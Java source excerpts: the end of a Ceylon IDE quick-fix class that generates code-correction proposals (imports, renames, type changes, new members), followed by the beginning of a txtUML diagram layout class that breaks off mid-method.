typeParamDef.append(",");
if (typeParam.isConstrained()) {
typeParamConstDef.append(" given ");
typeParamConstDef.append(typeParam.getName());
List<ProducedType> satisfiedTypes = typeParam.getSatisfiedTypes();
if (satisfiedTypes != null && !satisfiedTypes.isEmpty()) {
typeParamConstDef.append(" satisfies ");
boolean firstSatisfiedType = true;
for (ProducedType satisfiedType : satisfiedTypes) {
if (firstSatisfiedType) {
firstSatisfiedType = false;
} else {
typeParamConstDef.append("&");
}
typeParamConstDef.append(satisfiedType.getProducedTypeName());
}
}
List<ProducedType> caseTypes = typeParam.getCaseTypes();
if (caseTypes != null && !caseTypes.isEmpty()) {
typeParamConstDef.append(" of ");
boolean firstCaseType = true;
for (ProducedType caseType : caseTypes) {
if (firstCaseType) {
firstCaseType = false;
} else {
typeParamConstDef.append("|");
}
typeParamConstDef.append(caseType.getProducedTypeName());
}
}
if (typeParam.getParameterLists() != null) {
for (ParameterList paramList : typeParam.getParameterLists()) {
if (paramList != null && paramList.getParameters() != null) {
typeParamConstDef.append("(");
boolean firstParam = true;
for (Parameter param : paramList.getParameters()) {
if (firstParam) {
firstParam = false;
} else {
typeParamConstDef.append(",");
}
typeParamConstDef.append(param.getType().getProducedTypeName());
typeParamConstDef.append(" ");
typeParamConstDef.append(param.getName());
}
typeParamConstDef.append(")");
}
}
}
}
}
private ClassOrInterface findClassContainer(Tree.CompilationUnit cu, Node node){
FindContainerVisitor fcv = new FindContainerVisitor(node);
fcv.visit(cu);
Tree.Declaration declaration = fcv.getDeclaration();
if(declaration == null || declaration == node)
return null;
if(declaration instanceof Tree.ClassOrInterface)
return (ClassOrInterface) declaration.getDeclarationModel();
if(declaration instanceof Tree.MethodDefinition)
return findClassContainer(declaration.getDeclarationModel());
if(declaration instanceof Tree.ObjectDefinition)
return findClassContainer(declaration.getDeclarationModel());
return null;
}
private ClassOrInterface findClassContainer(Declaration declarationModel) {
do {
if(declarationModel == null)
return null;
if(declarationModel instanceof ClassOrInterface)
return (ClassOrInterface) declarationModel;
if(declarationModel.getContainer() instanceof Declaration)
declarationModel = (Declaration)declarationModel.getContainer();
else
return null;
}
while(true);
}
private void addCreateMemberProposals(Collection<ICompletionProposal> proposals,
IProject project, String def, String desc, Image image,
Tree.QualifiedMemberOrTypeExpression qmte, ProducedType returnType,
List<ProducedType> paramTypes) {
Tree.Primary p = ((Tree.QualifiedMemberOrTypeExpression) qmte).getPrimary();
if (p.getTypeModel()!=null) {
Declaration typeDec = p.getTypeModel().getDeclaration();
addCreateMemberProposals(proposals, project, def, desc, image, typeDec,
returnType, paramTypes);
}
}
private void addCreateMemberProposals(Collection<ICompletionProposal> proposals,
IProject project, String def, String desc, Image image, Declaration typeDec,
ProducedType returnType, List<ProducedType> paramTypes) {
if (typeDec!=null && typeDec instanceof ClassOrInterface) {
for (PhasedUnit unit: getUnits(project)) {
if (typeDec.getUnit().equals(unit.getUnit())) {
//TODO: "object" declarations?
FindDeclarationNodeVisitor fdv = new FindDeclarationNodeVisitor(typeDec);
getRootNode(unit).visit(fdv);
Tree.Declaration decNode = fdv.getDeclarationNode();
Tree.Body body = getBody(decNode);
if (body!=null) {
CreateProposal.addCreateMemberProposal(proposals, def, desc,
image, typeDec, unit, decNode, body, returnType,
paramTypes);
break;
}
}
}
}
}
private void addChangeTypeProposals(Tree.CompilationUnit cu, Node node,
ProblemLocation problem, Collection<ICompletionProposal> proposals,
IProject project) {
if (node instanceof Tree.SimpleType) {
TypeDeclaration decl = ((Tree.SimpleType)node).getDeclarationModel();
if( decl instanceof TypeParameter ) {
FindStatementVisitor fsv = new FindStatementVisitor(node, false);
fsv.visit(cu);
if( fsv.getStatement() instanceof Tree.AttributeDeclaration ) {
Tree.AttributeDeclaration ad = (Tree.AttributeDeclaration) fsv.getStatement();
Tree.SimpleType st = (Tree.SimpleType) ad.getType();
TypeParameter stTypeParam = null;
if( st.getTypeArgumentList() != null ) {
List<Tree.Type> stTypeArguments = st.getTypeArgumentList().getTypes();
for (int i = 0; i < stTypeArguments.size(); i++) {
Tree.SimpleType stTypeArgument = (Tree.SimpleType)stTypeArguments.get(i);
if (decl.getName().equals(
stTypeArgument.getDeclarationModel().getName())) {
TypeDeclaration stDecl = st.getDeclarationModel();
if( stDecl != null ) {
if( stDecl.getTypeParameters() != null && stDecl.getTypeParameters().size() > i ) {
stTypeParam = stDecl.getTypeParameters().get(i);
break;
}
}
}
}
}
if (stTypeParam != null && !stTypeParam.getSatisfiedTypes().isEmpty()) {
IntersectionType it = new IntersectionType(cu.getUnit());
it.setSatisfiedTypes(stTypeParam.getSatisfiedTypes());
addChangeTypeProposals(proposals, problem, project, node, it.canonicalize().getType(), decl, true);
}
}
}
}
if (node instanceof Tree.SpecifierExpression) {
Tree.Expression e = ((Tree.SpecifierExpression) node).getExpression();
if (e!=null) {
node = e.getTerm();
}
}
if (node instanceof Tree.Expression) {
node = ((Tree.Expression) node).getTerm();
}
if (node instanceof Tree.Term) {
ProducedType t = ((Tree.Term) node).getTypeModel();
if (t==null) return;
ProducedType type = node.getUnit().denotableType(t);
FindInvocationVisitor fav = new FindInvocationVisitor(node);
fav.visit(cu);
TypedDeclaration td = fav.parameter;
if (td!=null) {
if (node instanceof Tree.BaseMemberExpression){
addChangeTypeProposals(proposals, problem, project, node, td.getType(),
(TypedDeclaration) ((Tree.BaseMemberExpression) node).getDeclaration(), true);
}
if (node instanceof Tree.QualifiedMemberExpression){
addChangeTypeProposals(proposals, problem, project, node, td.getType(),
(TypedDeclaration) ((Tree.QualifiedMemberExpression) node).getDeclaration(), true);
}
addChangeTypeProposals(proposals, problem, project, node, type, td, false);
}
}
}
private void addChangeTypeProposals(Collection<ICompletionProposal> proposals,
ProblemLocation problem, IProject project, Node node, ProducedType type,
Declaration dec, boolean intersect) {
if (dec!=null) {
for (PhasedUnit unit: getUnits(project)) {
if (dec.getUnit().equals(unit.getUnit())) {
ProducedType t = null;
Node typeNode = null;
if( dec instanceof TypeParameter) {
t = ((TypeParameter) dec).getType();
typeNode = node;
}
if( dec instanceof TypedDeclaration ) {
TypedDeclaration typedDec = (TypedDeclaration)dec;
FindDeclarationNodeVisitor fdv = new FindDeclarationNodeVisitor(typedDec);
getRootNode(unit).visit(fdv);
Tree.TypedDeclaration decNode = (Tree.TypedDeclaration) fdv.getDeclarationNode();
if (decNode!=null) {
typeNode = decNode.getType();
if (typeNode!=null) {
t=((Tree.Type)typeNode).getTypeModel();
}
}
}
if (t != null && typeNode != null) {
ProducedType newType = intersect ?
intersectionType(t, type, unit.getUnit()) : unionType(t, type, unit.getUnit());
ChangeTypeProposal.addChangeTypeProposal(typeNode, problem,
proposals, dec, newType, getFile(unit), unit.getCompilationUnit());
}
}
}
}
}
private void addCreateParameterProposal(Collection<ICompletionProposal> proposals, IProject project, Tree.CompilationUnit cu, Node node,
String brokenName, String def, ProducedType returnType) {
FindContainerVisitor fcv = new FindContainerVisitor(node);
fcv.visit(cu);
Tree.Declaration decl = fcv.getDeclaration();
if (decl == null || decl.getDeclarationModel() == null || decl.getDeclarationModel().isActual()) {
return;
}
Tree.ParameterList paramList = getParameters(decl);
if (paramList != null) {
String paramDef = (paramList.getParameters().isEmpty() ? "" : ", ") + def.substring(0, def.length() - 1);
String paramDesc = "parameter '" + brokenName + "'";
for (PhasedUnit unit : getUnits(project)) {
if (unit.getUnit().equals(cu.getUnit())) {
CreateProposal.addCreateParameterProposal(proposals, paramDef, paramDesc, ADD, decl.getDeclarationModel(), unit, decl, paramList, returnType);
break;
}
}
}
}
private void addCreateParameterProposals(Tree.CompilationUnit cu, Node node,
ProblemLocation problem, Collection<ICompletionProposal> proposals,
IProject project, TypeChecker tc, IFile file) {
FindInvocationVisitor fav = new FindInvocationVisitor(node);
fav.visit(cu);
if (fav.result==null) return;
Tree.Primary prim = fav.result.getPrimary();
if (prim instanceof Tree.MemberOrTypeExpression) {
ProducedReference pr = ((Tree.MemberOrTypeExpression) prim).getTarget();
if (pr!=null) {
Declaration d = pr.getDeclaration();
ProducedType t=null;
String n=null;
if (node instanceof Tree.Term) {
t = ((Tree.Term) node).getTypeModel();
n = t.getDeclaration().getName();
if (n!=null) {
n = Character.toLowerCase(n.charAt(0)) + n.substring(1)
.replace("?", "").replace("[]", "");
if ("string".equals(n)) {
n = "text";
}
}
}
else if (node instanceof Tree.SpecifiedArgument) {
Tree.SpecifiedArgument sa = (Tree.SpecifiedArgument) node;
Tree.SpecifierExpression se = sa.getSpecifierExpression();
if (se!=null && se.getExpression()!=null) {
t = se.getExpression().getTypeModel();
}
n = sa.getIdentifier().getText();
}
else if (node instanceof Tree.TypedArgument) {
Tree.TypedArgument ta = (Tree.TypedArgument) node;
t = ta.getType().getTypeModel();
n = ta.getIdentifier().getText();
}
if (t!=null && n!=null) {
t = node.getUnit().denotableType(t);
String dv = defaultValue(prim.getUnit(), t);
String tn = t.getProducedTypeName();
String def = tn + " " + n + " = " + dv;
String desc = "parameter '" + n +"'";
addCreateParameterProposals(proposals, project, def, desc, d, t);
String pdef = n + " = " + dv;
String adef = tn + " " + n + ";";
String padesc = "attribute '" + n +"'";
addCreateParameterAndAttributeProposals(proposals, project,
pdef, adef, padesc, d, t);
}
}
}
}
private static String defaultValue(Unit unit, ProducedType t) {
if (t==null) {
return "nothing";
}
String tn = t.getProducedTypeQualifiedName();
if (tn.equals("ceylon.language::Boolean")) {
return "false";
}
else if (tn.equals("ceylon.language::Integer")) {
return "0";
}
else if (tn.equals("ceylon.language::Float")) {
return "0.0";
}
else if (unit.isOptionalType(t)) {
return "null";
}
else if (tn.equals("ceylon.language::String")) {
return "\"\"";
}
else {
return "nothing";
}
}
private void addCreateParameterProposals(Collection<ICompletionProposal> proposals,
IProject project, String def, String desc, Declaration typeDec, ProducedType t) {
if (typeDec!=null && typeDec instanceof Functional) {
for (PhasedUnit unit: getUnits(project)) {
if (typeDec.getUnit().equals(unit.getUnit())) {
FindDeclarationNodeVisitor fdv = new FindDeclarationNodeVisitor(typeDec);
getRootNode(unit).visit(fdv);
Tree.Declaration decNode = fdv.getDeclarationNode();
Tree.ParameterList paramList = getParameters(decNode);
if (paramList!=null) {
if (!paramList.getParameters().isEmpty()) {
def = ", " + def;
}
CreateProposal.addCreateParameterProposal(proposals, def, desc,
ADD, typeDec, unit, decNode, paramList, t);
break;
}
}
}
}
}
private void addCreateParameterAndAttributeProposals(Collection<ICompletionProposal> proposals,
IProject project, String pdef, String adef, String desc, Declaration typeDec, ProducedType t) {
if (typeDec!=null && typeDec instanceof ClassOrInterface) {
for (PhasedUnit unit: getUnits(project)) {
if (typeDec.getUnit().equals(unit.getUnit())) {
FindDeclarationNodeVisitor fdv = new FindDeclarationNodeVisitor(typeDec);
getRootNode(unit).visit(fdv);
Tree.Declaration decNode = fdv.getDeclarationNode();
Tree.ParameterList paramList = getParameters(decNode);
Tree.Body body = getBody(decNode);
if (body!=null && paramList!=null) {
if (!paramList.getParameters().isEmpty()) {
pdef = ", " + pdef;
}
CreateProposal.addCreateParameterAndAttributeProposal(proposals, pdef,
adef, desc, ADD, typeDec, unit, decNode,
paramList, body, t);
}
}
}
}
}
private Tree.CompilationUnit getRootNode(PhasedUnit unit) {
IEditorPart ce = Util.getCurrentEditor();
if (ce instanceof CeylonEditor) {
CeylonParseController cpc = ((CeylonEditor) ce).getParseController();
if (cpc!=null) {
Tree.CompilationUnit rn = cpc.getRootNode();
if (rn!=null) {
Unit u = rn.getUnit();
if (u.equals(unit.getUnit())) {
return rn;
}
}
}
}
return unit.getCompilationUnit();
}
private static Tree.Body getBody(Tree.Declaration decNode) {
if (decNode instanceof Tree.ClassDefinition) {
return ((Tree.ClassDefinition) decNode).getClassBody();
}
else if (decNode instanceof Tree.InterfaceDefinition){
return ((Tree.InterfaceDefinition) decNode).getInterfaceBody();
}
else if (decNode instanceof Tree.ObjectDefinition){
return ((Tree.ObjectDefinition) decNode).getClassBody();
}
return null;
}
private static Tree.ParameterList getParameters(Tree.Declaration decNode) {
if (decNode instanceof Tree.AnyClass) {
return ((Tree.AnyClass) decNode).getParameterList();
}
else if (decNode instanceof Tree.AnyMethod){
List<Tree.ParameterList> pls = ((Tree.AnyMethod) decNode).getParameterLists();
return pls.isEmpty() ? null : pls.get(0);
}
return null;
}
private void addCreateEnumProposal(Collection<ICompletionProposal> proposals,
IProject project, String def, String desc, Image image,
Tree.CompilationUnit cu, Tree.TypeDeclaration cd) {
for (PhasedUnit unit: getUnits(project)) {
if (unit.getUnit().equals(cu.getUnit())) {
CreateProposal.addCreateEnumProposal(proposals, def, desc, image, unit, cd);
break;
}
}
}
private void addCreateLocalProposals(Collection<ICompletionProposal> proposals,
IProject project, String def, String desc, Image image,
Tree.CompilationUnit cu, Node node, ProducedType returnType,
List<ProducedType> paramTypes) {
FindStatementVisitor fsv = new FindStatementVisitor(node, false);
cu.visit(fsv);
//if (!fsv.isToplevel()) {
Tree.Statement statement = fsv.getStatement();
for (PhasedUnit unit: getUnits(project)) {
if (unit.getUnit().equals(cu.getUnit())) {
CreateProposal.addCreateProposal(proposals, def, true, desc, image,
unit, statement, returnType, paramTypes);
break;
}
}
}
private void addCreateToplevelProposals(Collection<ICompletionProposal> proposals,
IProject project, String def, String desc, Image image,
Tree.CompilationUnit cu, Node node, ProducedType returnType,
List<ProducedType> paramTypes) {
FindStatementVisitor fsv = new FindStatementVisitor(node, true);
cu.visit(fsv);
Tree.Statement statement = fsv.getStatement();
for (PhasedUnit unit: getUnits(project)) {
if (unit.getUnit().equals(cu.getUnit())) {
CreateProposal.addCreateProposal(proposals, def+"\n", false, desc, image,
unit, statement, returnType, paramTypes);
break;
}
}
}
private List<ProducedType> appendNamedArgs(FindArgumentsVisitor fav, StringBuilder params) {
List<ProducedType> types = new ArrayList<ProducedType>();
for (Tree.NamedArgument a: fav.namedArgs.getNamedArguments()) {
if (a instanceof Tree.SpecifiedArgument) {
Tree.SpecifiedArgument na = (Tree.SpecifiedArgument) a;
ProducedType t = a.getUnit()
.denotableType(na.getSpecifierExpression()
.getExpression().getTypeModel());
params.append( t
.getProducedTypeName() )
.append(" ")
.append(na.getIdentifier().getText());
params.append(", ");
types.add(t);
}
}
return types;
}
private List<ProducedType> appendPositionalArgs(FindArgumentsVisitor fav, StringBuilder params) {
List<ProducedType> types = new ArrayList<ProducedType>();
for (Tree.PositionalArgument pa: fav.positionalArgs.getPositionalArguments()) {
if (pa instanceof Tree.ListedArgument) {
Tree.Expression e = ((Tree.ListedArgument) pa).getExpression();
if (e.getTypeModel()!=null) {
ProducedType t = pa.getUnit()
.denotableType(e.getTypeModel());
params.append( t.getProducedTypeName() )
.append(" ");
if ( e.getTerm() instanceof Tree.StaticMemberOrTypeExpression ) {
params.append( ((Tree.StaticMemberOrTypeExpression) e.getTerm())
.getIdentifier().getText() );
}
else {
int loc = params.length();
params.append( e.getTypeModel().getDeclaration().getName() );
params.setCharAt(loc, Character.toLowerCase(params.charAt(loc)));
}
params.append(", ");
types.add(t);
}
}
}
return types;
}
private void addRenameProposals(Tree.CompilationUnit cu, Node node, ProblemLocation problem,
Collection<ICompletionProposal> proposals, IFile file) {
String brokenName = getIdentifyingNode(node).getText();
if (brokenName.isEmpty()) return;
for (DeclarationWithProximity dwp: getProposals(node, cu).values()) {
int dist = getLevenshteinDistance(brokenName, dwp.getName()); //+dwp.getProximity()/3;
//TODO: would it be better to just sort by dist, and
// then select the 3 closest possibilities?
if (dist<=brokenName.length()/3+1) {
RenameProposal.addRenameProposal(problem, proposals, file,
brokenName, dwp, dist, cu);
}
}
}
private void addImportProposals(Tree.CompilationUnit cu, Node node,
Collection<ICompletionProposal> proposals, IFile file) {
if (node instanceof Tree.BaseMemberOrTypeExpression ||
node instanceof Tree.SimpleType) {
Node id = getIdentifyingNode(node);
String brokenName = id.getText();
Module module = cu.getUnit().getPackage().getModule();
for (Declaration decl: findImportCandidates(module, brokenName, cu)) {
ICompletionProposal ip = createImportProposal(cu, file, decl);
if (ip!=null) proposals.add(ip);
}
}
}
private static Set<Declaration> findImportCandidates(Module module,
String name, Tree.CompilationUnit cu) {
Set<Declaration> result = new HashSet<Declaration>();
for (Package pkg: module.getAllPackages()) {
Declaration member = pkg.getMember(name, null, false);
if (member!=null) {
result.add(member);
}
}
/*if (result.isEmpty()) {
for (Package pkg: module.getAllPackages()) {
for (Declaration member: pkg.getMembers()) {
if (!isImported(member, cu)) {
int dist = getLevenshteinDistance(name, member.getName());
//TODO: would it be better to just sort by dist, and
// then select the 3 closest possibilities?
if (dist<=name.length()/3+1) {
result.add(member);
}
}
}
}
}*/
return result;
}
private static ICompletionProposal createImportProposal(Tree.CompilationUnit cu,
IFile file, Declaration declaration) {
TextFileChange change = new TextFileChange("Add Import", file);
List<InsertEdit> ies = importEdit(cu, Collections.singleton(declaration), null);
if (ies.isEmpty()) return null;
change.setEdit(new MultiTextEdit());
for (InsertEdit ie: ies) change.addEdit(ie);
String proposedName = declaration.getName();
/*String brokenName = id.getText();
if (!brokenName.equals(proposedName)) {
change.addEdit(new ReplaceEdit(id.getStartIndex(), brokenName.length(),
proposedName));
}*/
return new ChangeCorrectionProposal("Add import of '" + proposedName + "'" +
" in package " + declaration.getUnit().getPackage().getNameAsString(),
change, 50, CeylonLabelProvider.IMPORT);
}
public static List<InsertEdit> importEdit(Tree.CompilationUnit cu,
Iterable<Declaration> declarations,
Declaration declarationBeingDeleted) {
List<InsertEdit> result = new ArrayList<InsertEdit>();
Set<Package> packages = new HashSet<Package>();
for (Declaration declaration: declarations) {
packages.add(declaration.getUnit().getPackage());
}
for (Package p: packages) {
StringBuilder text = new StringBuilder();
for (Declaration d: declarations) {
if (d.getUnit().getPackage().equals(p)) {
text.append(", ").append(d.getName());
}
}
Tree.Import importNode = findImportNode(cu, p.getNameAsString());
if (importNode!=null) {
Tree.ImportMemberOrTypeList imtl = importNode.getImportMemberOrTypeList();
if (imtl.getImportWildcard()!=null) {
//Do nothing
}
else {
int insertPosition = getBestImportMemberInsertPosition(importNode);
if (declarationBeingDeleted!=null &&
imtl.getImportMemberOrTypes().size()==1 &&
imtl.getImportMemberOrTypes().get(0).getDeclarationModel()
.equals(declarationBeingDeleted)) {
text.delete(0, 2);
}
result.add(new InsertEdit(insertPosition, text.toString()));
}
}
else {
int insertPosition = getBestImportInsertPosition(cu);
text.delete(0, 2);
text.insert(0, "import " + p.getNameAsString() + " { ").append(" }");
if (insertPosition==0) {
text.append("\n");
}
else {
text.insert(0, "\n");
}
result.add(new InsertEdit(insertPosition, text.toString()));
}
}
return result;
}
private static int getBestImportInsertPosition(Tree.CompilationUnit cu) {
Integer stopIndex = cu.getImportList().getStopIndex();
if (stopIndex == null) return 0;
return stopIndex+1;
}
private static Tree.Import findImportNode(Tree.CompilationUnit cu, String packageName) {
FindImportNodeVisitor visitor = new FindImportNodeVisitor(packageName);
cu.visit(visitor);
return visitor.getResult();
}
private static int getBestImportMemberInsertPosition(Tree.Import importNode) {
Tree.ImportMemberOrTypeList imtl = importNode.getImportMemberOrTypeList();
if (imtl.getImportWildcard()!=null) {
return imtl.getImportWildcard().getStartIndex();
}
else {
List<Tree.ImportMemberOrType> imts = imtl.getImportMemberOrTypes();
if (imts.isEmpty()) {
return imtl.getStartIndex()+1;
}
else {
return imts.get(imts.size()-1).getStopIndex()+1;
}
}
}
private void addAddAnnotationProposal(Node node, String annotation, String desc,
Declaration dec, Collection<ICompletionProposal> proposals, IProject project) {
if (dec!=null) {
for (PhasedUnit unit: getUnits(project)) {
if (dec.getUnit().equals(unit.getUnit())) {
FindDeclarationNodeVisitor fdv = new FindDeclarationNodeVisitor(dec);
getRootNode(unit).visit(fdv);
Tree.Declaration decNode = fdv.getDeclarationNode();
if (decNode!=null) {
AddAnnotionProposal.addAddAnnotationProposal(annotation, desc, dec,
proposals, unit, decNode);
}
break;
}
}
}
}
private void addRemoveAnnotationProposal(Node node, String annotation, String desc,
Declaration dec, Collection<ICompletionProposal> proposals, IProject project) {
if (dec!=null) {
for (PhasedUnit unit: getUnits(project)) {
if (dec.getUnit().equals(unit.getUnit())) {
//TODO: "object" declarations?
FindDeclarationNodeVisitor fdv = new FindDeclarationNodeVisitor(dec);
getRootNode(unit).visit(fdv);
Tree.Declaration decNode = fdv.getDeclarationNode();
if (decNode!=null) {
RemoveAnnotionProposal.addRemoveAnnotationProposal(annotation, desc, dec,
proposals, unit, decNode);
}
break;
}
}
}
}
public static int applyImports(TextChange change,
Set<Declaration> alreadyImported,
Tree.CompilationUnit cu) {
return applyImports(change, alreadyImported, null, cu);
}
public static int applyImports(TextChange change,
Set<Declaration> alreadyImported,
Declaration declarationBeingDeleted,
Tree.CompilationUnit cu) {
int il=0;
for (InsertEdit ie: importEdit(cu, alreadyImported, declarationBeingDeleted)) {
il+=ie.getText().length();
change.addEdit(ie);
}
return il;
}
public static void importSignatureTypes(Declaration declaration,
Tree.CompilationUnit rootNode, Set<Declaration> tc) {
if (declaration instanceof TypedDeclaration) {
importType(tc, ((TypedDeclaration) declaration).getType(), rootNode);
}
if (declaration instanceof Functional) {
for (ParameterList pl: ((Functional) declaration).getParameterLists()) {
for (Parameter p: pl.getParameters()) {
importType(tc, p.getType(), rootNode);
}
}
}
}
public static void importTypes(Set<Declaration> tfc,
Collection<ProducedType> types,
Tree.CompilationUnit rootNode) {
if (types==null) return;
for (ProducedType type: types) {
importType(tfc, type, rootNode);
}
}
public static void importType(Set<Declaration> tfc,
ProducedType type,
Tree.CompilationUnit rootNode) {
if (type==null) return;
if (type.getDeclaration() instanceof UnionType) {
for (ProducedType t: type.getDeclaration().getCaseTypes()) {
importType(tfc, t, rootNode);
}
}
else if (type.getDeclaration() instanceof IntersectionType) {
for (ProducedType t: type.getDeclaration().getSatisfiedTypes()) {
importType(tfc, t, rootNode);
}
}
else {
TypeDeclaration td = type.getDeclaration();
if (td instanceof ClassOrInterface &&
td.isToplevel()) {
importDeclaration(tfc, td, rootNode);
for (ProducedType arg: type.getTypeArgumentList()) {
importType(tfc, arg, rootNode);
}
}
}
}
public static void importDeclaration(Set<Declaration> declarations,
Declaration declaration, Tree.CompilationUnit rootNode) {
Package p = declaration.getUnit().getPackage();
if (!p.getNameAsString().isEmpty() &&
!p.equals(rootNode.getUnit().getPackage()) &&
!p.getNameAsString().equals(Module.LANGUAGE_MODULE_NAME)) {
if (!isImported(declaration, rootNode)) {
declarations.add(declaration);
}
}
}
public static boolean isImported(Declaration declaration,
Tree.CompilationUnit rootNode) {
for (Import i: rootNode.getUnit().getImports()) {
if (i.getDeclaration().equals(declaration)) {
return true;
}
}
return false;
}
}
|
package hu.elte.txtuml.layout.visualizer.algorithms;
import hu.elte.txtuml.layout.visualizer.algorithms.boxes.ArrangeObjects;
import hu.elte.txtuml.layout.visualizer.algorithms.links.ArrangeAssociations;
import hu.elte.txtuml.layout.visualizer.events.ProgressEmitter;
import hu.elte.txtuml.layout.visualizer.events.ProgressManager;
import hu.elte.txtuml.layout.visualizer.exceptions.BoxArrangeConflictException;
import hu.elte.txtuml.layout.visualizer.exceptions.BoxOverlapConflictException;
import hu.elte.txtuml.layout.visualizer.exceptions.CannotFindAssociationRouteException;
import hu.elte.txtuml.layout.visualizer.exceptions.ConversionException;
import hu.elte.txtuml.layout.visualizer.exceptions.InternalException;
import hu.elte.txtuml.layout.visualizer.exceptions.StatementTypeMatchException;
import hu.elte.txtuml.layout.visualizer.exceptions.StatementsConflictException;
import hu.elte.txtuml.layout.visualizer.exceptions.UnknownStatementException;
import hu.elte.txtuml.layout.visualizer.helpers.Helper;
import hu.elte.txtuml.layout.visualizer.helpers.Options;
import hu.elte.txtuml.layout.visualizer.helpers.StatementHelper;
import hu.elte.txtuml.layout.visualizer.model.DiagramType;
import hu.elte.txtuml.layout.visualizer.model.LineAssociation;
import hu.elte.txtuml.layout.visualizer.model.OverlapArrangeMode;
import hu.elte.txtuml.layout.visualizer.model.Point;
import hu.elte.txtuml.layout.visualizer.model.RectangleObject;
import hu.elte.txtuml.layout.visualizer.statements.Statement;
import hu.elte.txtuml.layout.visualizer.statements.StatementType;
import hu.elte.txtuml.utils.Pair;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Observer;
import java.util.Optional;
import java.util.Set;
import java.util.stream.Collectors;
/**
* This class is used to wrap the arrange of a whole diagram.
*/
public class LayoutVisualize {
/***
* Objects to arrange.
*/
private Set<RectangleObject> _objects;
/***
* Links to arrange
*/
private Set<LineAssociation> _assocs;
/***
* Statements which arrange. Later the statements on the objects.
*/
private List<Statement> _statements;
/***
* Statements on links.
*/
private List<Statement> _assocStatements;
/**
* Options.
*/
private Options _options;
/***
* Get the current set of Objects.
*
* @return Set of Objects. Can be null.
*/
public Set<RectangleObject> getObjects() {
return _objects;
}
/***
* Get the current set of Links.
*
* @return Set of Links. Can be null.
*/
public Set<LineAssociation> getAssocs() {
return _assocs;
}
/**
* Get the finishing set of Statements on objects.
*
* @return List of Statements on objects.
*/
public List<Statement> getStatements() {
return _statements;
}
/**
* Get the finishing set of Statements on links.
*
* @return List of Statements on links.
*/
public List<Statement> getAssocStatements() {
return _assocStatements;
}
/**
* Returns the pixel-grid ratio.
*
* @return the pixel-grid ratio.
*/
public Integer getPixelGridHorizontal() {
if (_objects.size() > 0) {
RectangleObject obj = _objects.stream().findFirst().get();
if(obj.getWidth() == 1)
return obj.getPixelWidth();
else
return obj.getPixelWidth() / (obj.getWidth() - 1);
}
return 1;
}
public Integer getPixelGridVertical() {
if (_objects.size() > 0) {
RectangleObject obj = _objects.stream().findFirst().get();
if(obj.getHeight() == 1)
return obj.getPixelHeight();
else
return obj.getPixelHeight() / (obj.getHeight() - 1);
}
return 1;
}
/**
* Returns the ProgressEmitter class.
*
* @return the ProgressEmitter class.
*/
public ProgressEmitter getProgressEmitter() {
return ProgressManager.getEmitter();
}
/**
* Adds an observer to the Event Emitter.
*
* @param o
* Observer to add.
*/
public void addObserver(Observer o) {
ProgressManager.addObserver(o);
}
/**
* Setter for logging property.
*
* @param value
* Whether to enable or disable this feature.
*/
public void setLogging(Boolean value) {
_options.Logging = value;
}
/**
* Layout algorithm initialize. Use load(), then arrange().
*/
public LayoutVisualize() {
_options = new Options();
_options.DiagramType = DiagramType.Class;
setDefaults();
}
/**
* Layout algorithm initialize. Use load(), then arrange().
*
* @param type
* Type of the diagram to arrange.
*/
public LayoutVisualize(DiagramType type) {
_options = new Options();
_options.DiagramType = type;
setDefaults();
}
private void setDefaults() {
ProgressManager.start();
_objects = null;
_assocs = null;
_options.ArrangeOverlaps = OverlapArrangeMode.few;
_options.Logging = false;
_options.CorridorRatio = 1.0;
}
/**
* Arranges the previously loaded model with the given {@link Statement}s.
*
* @param par_stats
* List of {@link Statement}s.
* @throws UnknownStatementException
* Throws if an unknown {@link Statement} is provided.
* @throws ConversionException
* Throws if algorithm cannot convert certain type into other
* type.
* @throws BoxArrangeConflictException
* Throws if there are some conflicts during the layout of
* boxes.
* @throws StatementTypeMatchException
* Throws if any of the {@link Statement}s are not in correct
* format.
* @throws CannotFindAssociationRouteException
* Throws if the algorithm cannot find the route for a
* {@link LineAssociation}.
* @throws StatementsConflictException
* Throws if there are some conflicts in the {@link Statement}s
* given by the user.
* @throws BoxOverlapConflictException
* Throws if the algorithm encounters an unsolvable overlap
* during the arrangement of the boxes.
* @throws InternalException
* Throws if any error occurs which should not happen. Contact
* developer for more details!
*/
public void arrange(ArrayList<Statement> par_stats) throws InternalException, BoxArrangeConflictException,
ConversionException, StatementTypeMatchException, CannotFindAssociationRouteException,
UnknownStatementException, BoxOverlapConflictException, StatementsConflictException {
if (_objects == null)
return;
// Clone statements into local working copy
_statements = Helper.cloneStatementList(par_stats);
_statements.sort((s1, s2) -> {
return s1.getType().compareTo(s2.getType());
});
// Get options from statements
getOptions();
if (_options.Logging)
System.err.println("Starting arrange...");
// Set next Group Id
Integer maxGroupId = getGroupId();
// Transform special associations into statements
maxGroupId = transformAssocsIntoStatements(maxGroupId);
// Split statements on assocs
splitStatements();
// Transform Phantom statements into Objects
Set<String> phantoms = addPhantoms();
// Set Default Statements
maxGroupId = addDefaultStatements(maxGroupId);
// Check the types of Statements
StatementHelper.checkTypes(_statements, _assocStatements, _objects, _assocs);
// Box arrange
maxGroupId = boxArrange(maxGroupId);
// Set start-end positions for associations
updateAssocsEnd();
// Remove phantom objects
removePhantoms(phantoms);
// Arrange associations between objects
maxGroupId = linkArrange(maxGroupId);
if (_options.Logging)
System.err.println("End of arrange!");
ProgressManager.end();
}
private void getOptions() {
// Remove corridorsize, overlaparrange from statements
List<Statement> tempList = _statements.stream().filter(s -> s.getType().equals(StatementType.corridorsize))
.collect(Collectors.toList());
if (tempList.size() > 0) {
_options.CorridorRatio = Double.parseDouble(tempList.get(0).getParameter(0));
if (_options.Logging)
System.err.println("Found Corridor size option setting (" + _options.CorridorRatio.toString() + ")!");
}
tempList = _statements.stream().filter(s -> s.getType().equals(StatementType.overlaparrange))
.collect(Collectors.toList());
if (tempList.size() > 0) {
_options.ArrangeOverlaps = Enum.valueOf(OverlapArrangeMode.class, tempList.get(0).getParameter(0));
if (_options.Logging)
System.err.println(
"Found Overlap arrange mode option setting (" + _options.ArrangeOverlaps.toString() + ")!");
}
_statements.removeIf(s -> s.getType().equals(StatementType.corridorsize)
|| s.getType().equals(StatementType.overlaparrange));
}
private Integer getGroupId() {
Optional<Integer> tempMax = _statements.stream().filter(s -> s.getGroupId() != null).map(s -> s.getGroupId())
.max((a, b) -> {
return Integer.compare(a, b);
});
return tempMax.isPresent() ? tempMax.get() : 0;
}
private void splitStatements() throws ConversionException, StatementsConflictException {
_assocStatements = StatementHelper.splitAssocs(_statements, _assocs);
_statements.removeAll(_assocStatements);
